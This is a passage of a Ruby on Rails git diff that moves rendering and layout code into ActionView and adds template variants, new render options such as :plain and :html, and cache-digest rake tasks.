# Creates a _layout method to be called by _default_layout .
#
# If a layout is not explicitly mentioned then look for a layout with the controller's name.
@@ -334,6 +326,17 @@ module AbstractController
private :_layout
RUBY
end
+
+ private
+
+ # If no layout is supplied, look for a template named the return
+ # value of this method.
+ #
+ # ==== Returns
+ # * <tt>String</tt> - A template name
+ def _implied_layout_name # :nodoc:
+ controller_path
+ end
end
def _normalize_options(options) # :nodoc:
@@ -417,7 +420,7 @@ module AbstractController
end
def _include_layout?(options)
- (options.keys & [:text, :inline, :partial]).empty? || options.key?(:layout)
+ (options.keys & [:body, :text, :plain, :html, :inline, :partial]).empty? || options.key?(:layout)
end
end
end
diff --git a/actionview/lib/action_view/log_subscriber.rb b/actionview/lib/action_view/log_subscriber.rb
index fd9a543e0a..6c8d9cb5bf 100644
--- a/actionview/lib/action_view/log_subscriber.rb
+++ b/actionview/lib/action_view/log_subscriber.rb
@@ -1,9 +1,16 @@
+require 'active_support/log_subscriber'
+
module ActionView
# = Action View Log Subscriber
#
# Provides functionality so that Rails can output logs from Action View.
class LogSubscriber < ActiveSupport::LogSubscriber
- VIEWS_PATTERN = /^app\/views\//.freeze
+ VIEWS_PATTERN = /^app\/views\//
+
+ def initialize
+ @root = nil
+ super
+ end
def render_template(event)
return unless logger.info?
@@ -21,8 +28,15 @@ module ActionView
protected
+ EMPTY = ''
def from_rails_root(string)
- string.sub("#{Rails.root}/", "").sub(VIEWS_PATTERN, "")
+ string = string.sub(rails_root, EMPTY)
+ string.sub!(VIEWS_PATTERN, EMPTY)
+ string
+ end
+
+ def rails_root
+ @root ||= "#{Rails.root}/"
end
end
end
diff --git a/actionview/lib/action_view/lookup_context.rb b/actionview/lib/action_view/lookup_context.rb
index f9d5b97fe3..5fff6b0771 100644
--- a/actionview/lib/action_view/lookup_context.rb
+++ b/actionview/lib/action_view/lookup_context.rb
@@ -1,6 +1,7 @@
require 'thread_safe'
require 'active_support/core_ext/module/remove_method'
require 'active_support/core_ext/module/attribute_accessors'
+require 'action_view/template/resolver'
module ActionView
# = Action View Lookup Context
@@ -52,6 +53,7 @@ module ActionView
locales
end
register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css, :xml, :json] }
+ register_detail(:variants) { [] }
register_detail(:handlers){ Template::Handlers.extensions }
class DetailsKey #:nodoc:
@@ -62,6 +64,13 @@ module ActionView
@details_keys = ThreadSafe::Cache.new
def self.get(details)
+ if details[:formats]
+ details = details.dup
+ syms = Set.new Mime::SET.symbols
+ details[:formats] = details[:formats].select { |v|
+ syms.include? v
+ }
+ end
@details_keys[details] ||= new
end
@@ -105,7 +114,7 @@ module ActionView
module ViewPaths
attr_reader :view_paths, :html_fallback_for_js
- # Whenever setting view paths, makes a copy so we can manipulate then in
+ # Whenever setting view paths, makes a copy so that we can manipulate them in
# instance objects as we wish.
def view_paths=(paths)
@view_paths = ActionView::PathSet.new(Array(paths))
@@ -125,7 +134,8 @@ module ActionView
end
alias :template_exists? :exists?
- # Add fallbacks to the view paths. Useful in cases you are rendering a :file.
+ # Adds fallbacks to the view paths. Useful in cases when you are rendering
+ # a :file.
def with_fallbacks
added_resolvers = 0
self.class.fallbacks.each do |resolver|
@@ -150,7 +160,14 @@ module ActionView
def detail_args_for(options)
return @details, details_key if options.empty? # most common path.
user_details = @details.merge(options)
- [user_details, DetailsKey.get(user_details)]
+
+ if @cache
+ details_key = DetailsKey.get(user_details)
+ else
+ details_key = nil
+ end
+
+ [user_details, details_key]
end
# Support legacy foo.erb names even though we now ignore .erb
@@ -211,7 +228,7 @@ module ActionView
end
# Overload locale= to also set the I18n.locale. If the current I18n.config object responds
- # to original_config, it means that it's has a copy of the original I18n configuration and it's
+ # to original_config, it means that it has a copy of the original I18n configuration and it's
# acting as proxy, which we need to skip.
def locale=(value)
if value
@@ -222,7 +239,7 @@ module ActionView
super(@skip_default_locale ? I18n.locale : default_locale)
end
- # A method which only uses the first format in the formats array for layout lookup.
+ # Uses the first format in the formats array for layout lookup.
def with_layout_format
if formats.size == 1
yield
diff --git a/actionview/lib/action_view/railtie.rb b/actionview/lib/action_view/railtie.rb
index e80e0ed9b0..81f9c40b85 100644
--- a/actionview/lib/action_view/railtie.rb
+++ b/actionview/lib/action_view/railtie.rb
@@ -35,5 +35,15 @@ module ActionView
end
end
end
+
+ initializer "action_view.setup_action_pack" do |app|
+ ActiveSupport.on_load(:action_controller) do
+ ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+ end
+ end
+
+ rake_tasks do
+ load "action_view/tasks/dependencies.rake"
+ end
end
end
diff --git a/actionview/lib/action_view/renderer/partial_renderer.rb b/actionview/lib/action_view/renderer/partial_renderer.rb
index 821026268a..36f17f01fd 100644
--- a/actionview/lib/action_view/renderer/partial_renderer.rb
+++ b/actionview/lib/action_view/renderer/partial_renderer.rb
@@ -159,7 +159,7 @@ module ActionView
# </div>
#
# If a collection is given, the layout will be rendered once for each item in
- # the collection. Just think these two snippets have the same output:
+ # the collection. For example, these two snippets have the same output:
#
# <%# app/views/users/_user.html.erb %>
# Name: <%= user.name %>
diff --git a/actionview/lib/action_view/renderer/streaming_template_renderer.rb b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
index 9cf6eb0c65..3ab2cd36fc 100644
--- a/actionview/lib/action_view/renderer/streaming_template_renderer.rb
+++ b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
@@ -58,7 +58,7 @@ module ActionView
def delayed_render(buffer, template, layout, view, locals)
# Wrap the given buffer in the StreamingBuffer and pass it to the
- # underlying template handler. Now, everytime something is concatenated
+ # underlying template handler. Now, every time something is concatenated
# to the buffer, it is not appended to an array, but streamed straight
# to the client.
output = ActionView::StreamingBuffer.new(buffer)
diff --git a/actionview/lib/action_view/renderer/template_renderer.rb b/actionview/lib/action_view/renderer/template_renderer.rb
index 4d5c5db80c..be17097428 100644
--- a/actionview/lib/action_view/renderer/template_renderer.rb
+++ b/actionview/lib/action_view/renderer/template_renderer.rb
@@ -11,7 +11,7 @@ module ActionView
prepend_formats(template.formats)
unless context.rendered_format
- context.rendered_format = template.formats.first || formats.last
+ context.rendered_format = template.formats.first || formats.first
end
render_template(template, options[:layout], options[:locals])
@@ -21,8 +21,14 @@ module ActionView
def determine_template(options) #:nodoc:
keys = options.fetch(:locals, {}).keys
- if options.key?(:text)
+ if options.key?(:body)
+ Template::Text.new(options[:body])
+ elsif options.key?(:text)
Template::Text.new(options[:text], formats.first)
+ elsif options.key?(:plain)
+ Template::Text.new(options[:plain])
+ elsif options.key?(:html)
+ Template::HTML.new(options[:html], formats.first)
elsif options.key?(:file)
with_fallbacks { find_template(options[:file], nil, false, keys, @details) }
elsif options.key?(:inline)
@@ -35,7 +41,7 @@ module ActionView
find_template(options[:template], options[:prefixes], false, keys, @details)
end
else
- raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file or :text option."
+ raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file, :plain, :text or :body option."
end
end
diff --git a/actionview/lib/action_view/rendering.rb b/actionview/lib/action_view/rendering.rb
new file mode 100644
index 0000000000..017302d40f
--- /dev/null
+++ b/actionview/lib/action_view/rendering.rb
@@ -0,0 +1,145 @@
+require "action_view/view_paths"
+
+module ActionView
+ # This is a class to fix I18n global state. Whenever you provide I18n.locale during a request,
+ # it will trigger the lookup_context and consequently expire the cache.
+ class I18nProxy < ::I18n::Config #:nodoc:
+ attr_reader :original_config, :lookup_context
+
+ def initialize(original_config, lookup_context)
+ original_config = original_config.original_config if original_config.respond_to?(:original_config)
+ @original_config, @lookup_context = original_config, lookup_context
+ end
+
+ def locale
+ @original_config.locale
+ end
+
+ def locale=(value)
+ @lookup_context.locale = value
+ end
+ end
+
+ module Rendering
+ extend ActiveSupport::Concern
+ include ActionView::ViewPaths
+
+ # Overwrite process to setup I18n proxy.
+ def process(*) #:nodoc:
+ old_config, I18n.config = I18n.config, I18nProxy.new(I18n.config, lookup_context)
+ super
+ ensure
+ I18n.config = old_config
+ end
+
+ module ClassMethods
+ def view_context_class
+ @view_context_class ||= begin
+ routes = respond_to?(:_routes) && _routes
+ helpers = respond_to?(:_helpers) && _helpers
+
+ Class.new(ActionView::Base) do
+ if routes
+ include routes.url_helpers
+ include routes.mounted_helpers
+ end
+
+ if helpers
+ include helpers
+ end
+ end
+ end
+ end
+ end
+
+ attr_internal_writer :view_context_class
+
+ def view_context_class
+ @_view_context_class ||= self.class.view_context_class
+ end
+
+ # An instance of a view class. The default view class is ActionView::Base
+ #
+ # The view class must have the following methods:
+ # View.new[lookup_context, assigns, controller]
+ # Create a new ActionView instance for a controller
+ # View#render[options]
+ # Returns String with the rendered template
+ #
+ # Override this method in a module to change the default behavior.
+ def view_context
+ view_context_class.new(view_renderer, view_assigns, self)
+ end
+
+ # Returns an object that is able to render templates.
+ # :api: private
+ def view_renderer
+ @_view_renderer ||= ActionView::Renderer.new(lookup_context)
+ end
+
+ def render_to_body(options = {})
+ _process_options(options)
+ _render_template(options)
+ end
+
+ def rendered_format
+ Mime[lookup_context.rendered_format]
+ end
+
+ private
+
+ # Find and render a template based on the options given.
+ # :api: private
+ def _render_template(options) #:nodoc:
+ variant = options[:variant]
+
+ lookup_context.rendered_format = nil if options[:formats]
+ lookup_context.variants = variant if variant
+
+ view_renderer.render(view_context, options)
+ end
+
+ # Assign the rendered format to lookup context.
+ def _process_format(format, options = {}) #:nodoc:
+ super
+ lookup_context.formats = [format.to_sym]
+ lookup_context.rendered_format = lookup_context.formats.first
+ end
+
+ # Normalize args by converting render "foo" to render :action => "foo" and
+ # render "foo/bar" to render :file => "foo/bar".
+ # :api: private
+ def _normalize_args(action=nil, options={})
+ options = super(action, options)
+ case action
+ when NilClass
+ when Hash
+ options = action
+ when String, Symbol
+ action = action.to_s
+ key = action.include?(?/) ? :file : :action
+ options[key] = action
+ else
+ options[:partial] = action
+ end
+
+ options
+ end
+
+ # Normalize options.
+ # :api: private
+ def _normalize_options(options)
+ options = super(options)
+ if options[:partial] == true
+ options[:partial] = action_name
+ end
+
+ if (options.keys & [:partial, :file, :template]).empty?
+ options[:prefixes] ||= _prefixes
+ end
+
+ options[:template] ||= (options[:action] || action_name).to_s
+ options
+ end
+ end
+end
diff --git a/actionview/lib/action_view/routing_url_for.rb b/actionview/lib/action_view/routing_url_for.rb
index f10e7e88ba..b9e4b590e7 100644
--- a/actionview/lib/action_view/routing_url_for.rb
+++ b/actionview/lib/action_view/routing_url_for.rb
@@ -77,12 +77,14 @@ module ActionView
case options
when String
options
- when nil, Hash
- options ||= {}
- options = { :only_path => options[:host].nil? }.merge!(options.symbolize_keys)
- super
+ when nil
+ super({:only_path => true})
+ when Hash
+ super({ :only_path => options[:host].nil? }.merge!(options.symbolize_keys))
when :back
_back_url
+ when Array
+ polymorphic_path(options, options.extract_options!)
else
polymorphic_path(options)
end
diff --git a/actionview/lib/action_view/tasks/dependencies.rake b/actionview/lib/action_view/tasks/dependencies.rake
new file mode 100644
index 0000000000..1b9426c0e5
--- /dev/null
+++ b/actionview/lib/action_view/tasks/dependencies.rake
@@ -0,0 +1,17 @@
+namespace :cache_digests do
+ desc 'Lookup nested dependencies for TEMPLATE (like messages/show or comments/_comment.html)'
+ task :nested_dependencies => :environment do
+ abort 'You must provide TEMPLATE for the task to run' unless ENV['TEMPLATE'].present?
+ template, format = ENV['TEMPLATE'].split(".")
+ format ||= :html
+ puts JSON.pretty_generate ActionView::Digestor.new(template, format, ApplicationController.new.lookup_context).nested_dependencies
+ end
+
+ desc 'Lookup first-level dependencies for TEMPLATE (like messages/show or comments/_comment.html)'
+ task :dependencies => :environment do
+ abort 'You must provide TEMPLATE for the task to run' unless ENV['TEMPLATE'].present?
+ template, format = ENV['TEMPLATE'].split(".")
+ format ||= :html
+ puts JSON.pretty_generate ActionView::Digestor.new(template, format, ApplicationController.new.lookup_context).dependencies
+ end
+end
diff --git a/actionview/lib/action_view/template.rb b/actionview/lib/action_view/template.rb
index e2c50fec47..9d39d02a37 100644
--- a/actionview/lib/action_view/template.rb
+++ b/actionview/lib/action_view/template.rb
@@ -90,13 +90,14 @@ module ActionView
eager_autoload do
autoload :Error
autoload :Handlers
+ autoload :HTML
autoload :Text
autoload :Types
end
extend Template::Handlers
- attr_accessor :locals, :formats, :virtual_path
+ attr_accessor :locals, :formats, :variants, :virtual_path
attr_reader :source, :identifier, :handler, :original_encoding, :updated_at
@@ -122,6 +123,7 @@ module ActionView
@virtual_path = details[:virtual_path]
@updated_at = details[:updated_at] || Time.now
@formats = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f }
+ @variants = [details[:variant]]
@compile_mutex = Mutex.new
end
@@ -142,7 +144,7 @@ module ActionView
compile!(view)
view.send(method_name, locals, buffer, &block)
end
- rescue Exception => e
+ rescue => e
handle_render_error(view, e)
end
@@ -294,7 +296,7 @@ module ActionView
begin
mod.module_eval(source, identifier, 0)
ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
- rescue Exception => e # errors from template code
+ rescue => e # errors from template code
if logger = (view && view.logger)
logger.debug "ERROR: compiling #{method_name} RAISED #{e}"
logger.debug "Function body: #{source}"
diff --git a/actionview/lib/action_view/template/error.rb b/actionview/lib/action_view/template/error.rb
index a89d51221e..743ef6de0a 100644
--- a/actionview/lib/action_view/template/error.rb
+++ b/actionview/lib/action_view/template/error.rb
@@ -41,6 +41,9 @@ module ActionView
'template'
end
+ if partial && path.present?
+ path = path.sub(%r{([^/]+)$}, "_\\1")
+ end
searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
out = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
@@ -56,13 +59,13 @@ module ActionView
class Error < ActionViewError #:nodoc:
SOURCE_CODE_RADIUS = 3
- attr_reader :original_exception, :backtrace
+ attr_reader :original_exception
def initialize(template, original_exception)
super(original_exception.message)
@template, @original_exception = template, original_exception
@sub_templates = nil
- @backtrace = original_exception.backtrace
+ set_backtrace(original_exception.backtrace)
end
def file_name
diff --git a/actionview/lib/action_view/template/handlers/erb.rb b/actionview/lib/action_view/template/handlers/erb.rb
index c8a0059596..4523060442 100644
--- a/actionview/lib/action_view/template/handlers/erb.rb
+++ b/actionview/lib/action_view/template/handlers/erb.rb
@@ -18,7 +18,7 @@ module ActionView
src << "@output_buffer.safe_append='"
src << "\n" * @newline_pending if @newline_pending > 0
src << escape_text(text)
- src << "';"
+ src << "'.freeze;"
@newline_pending = 0
end
@@ -67,7 +67,7 @@ module ActionView
def flush_newline_if_pending(src)
if @newline_pending > 0
- src << "@output_buffer.safe_append='#{"\n" * @newline_pending}';"
+ src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
@newline_pending = 0
end
end
diff --git a/actionview/lib/action_view/template/html.rb b/actionview/lib/action_view/template/html.rb
new file mode 100644
index 0000000000..0321f819b5
--- /dev/null
+++ b/actionview/lib/action_view/template/html.rb
@@ -0,0 +1,34 @@
+module ActionView #:nodoc:
+ # = Action View HTML Template
+ class Template
+ class HTML #:nodoc:
+ attr_accessor :type
+
+ def initialize(string, type = nil)
+ @string = string.to_s
+ @type = Types[type] || type if type
+ @type ||= Types[:html]
+ end
+
+ def identifier
+ 'html template'
+ end
+
+ def inspect
+ 'html template'
+ end
+
+ def to_str
+ ERB::Util.h(@string)
+ end
+
+ def render(*args)
+ to_str
+ end
+
+ def formats
+ [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/template/resolver.rb b/actionview/lib/action_view/template/resolver.rb
index 3304605c1a..05f0c301e7 100644
--- a/actionview/lib/action_view/template/resolver.rb
+++ b/actionview/lib/action_view/template/resolver.rb
@@ -1,6 +1,6 @@
require "pathname"
require "active_support/core_ext/class"
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
require "action_view/template"
require "thread"
require "thread_safe"
@@ -154,7 +154,8 @@ module ActionView
cached = nil
templates.each do |t|
t.locals = locals
- t.formats = details[:formats] || [:html] if t.formats.empty?
+ t.formats = details[:formats] || [:html] if t.formats.empty?
+ t.variants = details[:variants] || [] if t.variants.empty?
t.virtual_path ||= (cached ||= build_path(*path_info))
end
end
@@ -162,8 +163,8 @@ module ActionView
# An abstract class that implements a Resolver with path semantics.
class PathResolver < Resolver #:nodoc:
- EXTENSIONS = [:locale, :formats, :handlers]
- DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}"
+ EXTENSIONS = { :locale => ".", :formats => ".", :variants => "+", :handlers => "." }
+ DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
def initialize(pattern=nil)
@pattern = pattern || DEFAULT_PATTERN
@@ -189,13 +190,15 @@ module ActionView
}
template_paths.map { |template|
- handler, format = extract_handler_and_format(template, formats)
- contents = File.binread template
+ handler, format, variant = extract_handler_and_format_and_variant(template, formats)
+ contents = File.binread(template)
Template.new(contents, File.expand_path(template), handler,
:virtual_path => path.virtual,
:format => format,
- :updated_at => mtime(template))
+ :variant => variant,
+ :updated_at => mtime(template)
+ )
}
end
@@ -225,10 +228,10 @@ module ActionView
File.mtime(p)
end
- # Extract handler and formats from path. If a format cannot be a found neither
+ # Extract handler, formats and variant from path. If a format cannot be found neither
# from the path, or the handler, we should return the array of formats given
# to the resolver.
- def extract_handler_and_format(path, default_formats)
+ def extract_handler_and_format_and_variant(path, default_formats)
pieces = File.basename(path).split(".")
pieces.shift
@@ -240,8 +243,10 @@ module ActionView
end
handler = Template.handler_for_extension(extension)
- format = pieces.last && Template::Types[pieces.last]
- [handler, format]
+ format, variant = pieces.last.split(EXTENSIONS[:variants], 2) if pieces.last
+ format &&= Template::Types[format]
+
+ [handler, format, variant]
end
end
@@ -303,12 +308,13 @@ module ActionView
# An Optimized resolver for Rails' most common case.
class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
def build_query(path, details)
- exts = EXTENSIONS.map { |ext| details[ext] }
query = escape_entry(File.join(@path, path))
- query + exts.map { |ext|
- "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}"
- }.join
+ exts = EXTENSIONS.map do |ext, prefix|
+ "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}"
+ end.join
+
+ query + exts
end
end
diff --git a/actionview/lib/action_view/template/text.rb b/actionview/lib/action_view/template/text.rb
index 859c7bc3ce..04f5b8d17a 100644
--- a/actionview/lib/action_view/template/text.rb
+++ b/actionview/lib/action_view/template/text.rb
@@ -27,7 +27,7 @@ module ActionView #:nodoc:
end
def formats
- [@type.to_sym]
+ [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
end
end
end
diff --git a/actionview/lib/action_view/template/types.rb b/actionview/lib/action_view/template/types.rb
index db77cb5d19..b84e0281ae 100644
--- a/actionview/lib/action_view/template/types.rb
+++ b/actionview/lib/action_view/template/types.rb
@@ -1,5 +1,5 @@
require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module ActionView
class Template
diff --git a/actionview/lib/action_view/test_case.rb b/actionview/lib/action_view/test_case.rb
index 3145446114..9e8e6f43d5 100644
--- a/actionview/lib/action_view/test_case.rb
+++ b/actionview/lib/action_view/test_case.rb
@@ -235,7 +235,8 @@ module ActionView
:@options,
:@test_passed,
:@view,
- :@view_context_class
+ :@view_context_class,
+ :@_subscribers
]
def _user_defined_ivars
diff --git a/actionview/lib/action_view/testing/resolvers.rb b/actionview/lib/action_view/testing/resolvers.rb
index 7afa2fa613..dfb7d463b4 100644
--- a/actionview/lib/action_view/testing/resolvers.rb
+++ b/actionview/lib/action_view/testing/resolvers.rb
@@ -21,7 +21,7 @@ module ActionView #:nodoc:
def query(path, exts, formats)
query = ""
- EXTENSIONS.each do |ext|
+ EXTENSIONS.each_key do |ext|
query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)'
end
query = /^(#{Regexp.escape(path)})#{query}$/
@@ -30,9 +30,13 @@ module ActionView #:nodoc:
@hash.each do |_path, array|
source, updated_at = array
next unless _path =~ query
- handler, format = extract_handler_and_format(_path, formats)
+ handler, format, variant = extract_handler_and_format_and_variant(_path, formats)
templates << Template.new(source, _path, handler,
- :virtual_path => path.virtual, :format => format, :updated_at => updated_at)
+ :virtual_path => path.virtual,
+ :format => format,
+ :variant => variant,
+ :updated_at => updated_at
+ )
end
templates.sort_by {|t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size }
@@ -41,8 +45,8 @@ module ActionView #:nodoc:
class NullResolver < PathResolver
def query(path, exts, formats)
- handler, format = extract_handler_and_format(path, formats)
- [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format)]
+ handler, format, variant = extract_handler_and_format_and_variant(path, formats)
+ [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format, :variant => variant)]
end
end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/node.rb b/actionview/lib/action_view/vendor/html-scanner/html/node.rb
index 7e7cd4f7b6..27f0f2f6f8 100644
--- a/actionview/lib/action_view/vendor/html-scanner/html/node.rb
+++ b/actionview/lib/action_view/vendor/html-scanner/html/node.rb
@@ -71,12 +71,12 @@ module HTML #:nodoc:
@line, @position = line, pos
end
- # Return a textual representation of the node.
+ # Returns a textual representation of the node.
def to_s
@children.join()
end
- # Return false (subclasses must override this to provide specific matching
+ # Returns false (subclasses must override this to provide specific matching
# behavior.) +conditions+ may be of any type.
def match(conditions)
false
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb b/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
index 30b6b8b141..ed34eecf55 100644
--- a/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
+++ b/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
@@ -1,6 +1,6 @@
require 'set'
require 'cgi'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module HTML
class Sanitizer
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/selector.rb b/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
index 7f8609c408..dfdd724b9b 100644
--- a/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
+++ b/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
@@ -488,7 +488,7 @@ module HTML
end
- # Return the next element after this one. Skips sibling text nodes.
+ # Returns the next element after this one. Skips sibling text nodes.
#
# With the +name+ argument, returns the next element with that name,
# skipping other sibling elements.
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb b/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
index 8ac8d34430..adf4e45930 100644
--- a/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
+++ b/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
@@ -30,7 +30,7 @@ module HTML #:nodoc:
@current_line = 1
end
- # Return the next token in the sequence, or +nil+ if there are no more tokens in
+ # Returns the next token in the sequence, or +nil+ if there are no more tokens in
# the stream.
def next
return nil if @scanner.eos?
diff --git a/actionview/lib/action_view/version.rb b/actionview/lib/action_view/version.rb
index 094dd474df..f55d3fdaef 100644
--- a/actionview/lib/action_view/version.rb
+++ b/actionview/lib/action_view/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
module ActionView
- # Returns the version of the currently loaded ActionView as a Gem::Version
+ # Returns the version of the currently loaded ActionView as a <tt>Gem::Version</tt>
def self.version
- Gem::Version.new "4.1.0.beta"
- end
-
- module VERSION #:nodoc:
- MAJOR, MINOR, TINY, PRE = ActionView.version.segments
- STRING = ActionView.version.to_s
+ gem_version
end
end
diff --git a/actionpack/lib/abstract_controller/view_paths.rb b/actionview/lib/action_view/view_paths.rb
index c08b3a0e2a..6c349feb1d 100644
--- a/actionpack/lib/abstract_controller/view_paths.rb
+++ b/actionview/lib/action_view/view_paths.rb
@@ -1,6 +1,6 @@
require 'action_view/base'
-module AbstractController
+module ActionView
module ViewPaths
extend ActiveSupport::Concern
diff --git a/actionview/test/abstract_unit.rb b/actionview/test/abstract_unit.rb
index 8213997f4e..9eae3a4fbd 100644
--- a/actionview/test/abstract_unit.rb
+++ b/actionview/test/abstract_unit.rb
@@ -24,7 +24,6 @@ require 'action_dispatch'
require 'active_support/dependencies'
require 'active_model'
require 'active_record'
-require 'action_controller/caching'
require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
@@ -43,6 +42,9 @@ Thread.abort_on_exception = true
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Register danish language for testing
I18n.backend.store_translations 'da', {}
I18n.backend.store_translations 'pt-BR', {}
@@ -268,6 +270,8 @@ class Rack::TestCase < ActionDispatch::IntegrationTest
end
end
+ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+
module ActionController
class Base
include ActionController::Testing
@@ -290,9 +294,6 @@ module ActionController
end
end
-class ::ApplicationController < ActionController::Base
-end
-
module ActionView
class TestCase
# Must repeat the setup because AV::TestCase is a duplication
@@ -330,53 +331,11 @@ module ActionDispatch
end
end
-module ActionDispatch
- module RoutingVerbs
- def get(uri_or_host, path = nil)
- host = uri_or_host.host unless path
- path ||= uri_or_host.path
-
- params = {'PATH_INFO' => path,
- 'REQUEST_METHOD' => 'GET',
- 'HTTP_HOST' => host}
-
- routes.call(params)[2].join
- end
- end
-end
-
-module RoutingTestHelpers
- def url_for(set, options, recall = nil)
- set.send(:url_for, options.merge(:only_path => true, :_recall => recall))
- end
-end
-
-class ResourcesController < ActionController::Base
- def index() render :nothing => true end
- alias_method :show, :index
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
end
-
-class ThreadsController < ResourcesController; end
-class MessagesController < ResourcesController; end
-class CommentsController < ResourcesController; end
-class ReviewsController < ResourcesController; end
-class AuthorsController < ResourcesController; end
-class LogosController < ResourcesController; end
-
-class AccountsController < ResourcesController; end
-class AdminController < ResourcesController; end
-class ProductsController < ResourcesController; end
-class ImagesController < ResourcesController; end
-class PreferencesController < ResourcesController; end
-
-module Backoffice
- class ProductsController < ResourcesController; end
- class TagsController < ResourcesController; end
- class ManufacturersController < ResourcesController; end
- class ImagesController < ResourcesController; end
-
- module Admin
- class ProductsController < ResourcesController; end
- class ImagesController < ResourcesController; end
- end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
end
diff --git a/actionpack/test/abstract/abstract_controller_test.rb b/actionview/test/actionpack/abstract/abstract_controller_test.rb
index eb9143c8f6..40d3b17131 100644
--- a/actionpack/test/abstract/abstract_controller_test.rb
+++ b/actionview/test/actionpack/abstract/abstract_controller_test.rb
@@ -30,6 +30,7 @@ module AbstractController
# ====
class RenderingController < AbstractController::Base
include AbstractController::Rendering
+ include ActionView::Rendering
def _prefixes
[]
@@ -153,7 +154,7 @@ module AbstractController
# ====
# self._layout is used when defined
class WithLayouts < PrefixedViews
- include AbstractController::Layouts
+ include ActionView::Layouts
private
def self.layout(formats)
diff --git a/actionpack/test/abstract/helper_test.rb b/actionview/test/actionpack/abstract/helper_test.rb
index 7960e5b55b..7d346e917d 100644
--- a/actionpack/test/abstract/helper_test.rb
+++ b/actionview/test/actionpack/abstract/helper_test.rb
@@ -1,13 +1,14 @@
require 'abstract_unit'
-ActionController::Base.helpers_path = File.expand_path('../../fixtures/helpers', __FILE__)
+ActionController::Base.helpers_path = File.expand_path('../../../fixtures/helpers', __FILE__)
module AbstractController
module Testing
class ControllerWithHelpers < AbstractController::Base
- include AbstractController::Rendering
include AbstractController::Helpers
+ include AbstractController::Rendering
+ include ActionView::Rendering
def with_module
render :inline => "Module <%= included_method %>"
@@ -48,6 +49,14 @@ module AbstractController
end
end
+ class AbstractInvalidHelpers < AbstractHelpers
+ include ActionController::Helpers
+
+ path = File.expand_path('../../../fixtures/helpers_missing', __FILE__)
+ $:.unshift(path)
+ self.helpers_path = path
+ end
+
class TestHelpers < ActiveSupport::TestCase
def setup
@controller = AbstractHelpers.new
@@ -69,9 +78,9 @@ module AbstractController
end
def test_declare_missing_helper
- AbstractHelpers.helper :missing
- flunk "should have raised an exception"
- rescue LoadError => e
+ e = assert_raise AbstractController::Helpers::MissingHelperError do
+ AbstractHelpers.helper :missing
+ end
assert_equal "helpers/missing_helper.rb", e.path
end
@@ -97,5 +106,22 @@ module AbstractController
assert_equal "Hello Default", @controller.response_body
end
end
+
+ class InvalidHelpersTest < ActiveSupport::TestCase
+ def test_controller_raise_error_about_real_require_problem
+ e = assert_raise(LoadError) { AbstractInvalidHelpers.helper(:invalid_require) }
+ assert_equal "No such file to load -- very_invalid_file_name", e.message
+ end
+
+ def test_controller_raise_error_about_missing_helper
+ e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
+ assert_equal "Missing helper file helpers/missing_helper.rb", e.message
+ end
+
+ def test_missing_helper_error_has_the_right_path
+ e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
+ assert_equal "helpers/missing_helper.rb", e.path
+ end
+ end
end
end
diff --git a/actionpack/test/abstract/layouts_test.rb b/actionview/test/actionpack/abstract/layouts_test.rb
index 4a05c00f8b..a6786d9b6b 100644
--- a/actionpack/test/abstract/layouts_test.rb
+++ b/actionview/test/actionpack/abstract/layouts_test.rb
@@ -6,7 +6,8 @@ module AbstractControllerTests
# Base controller for these tests
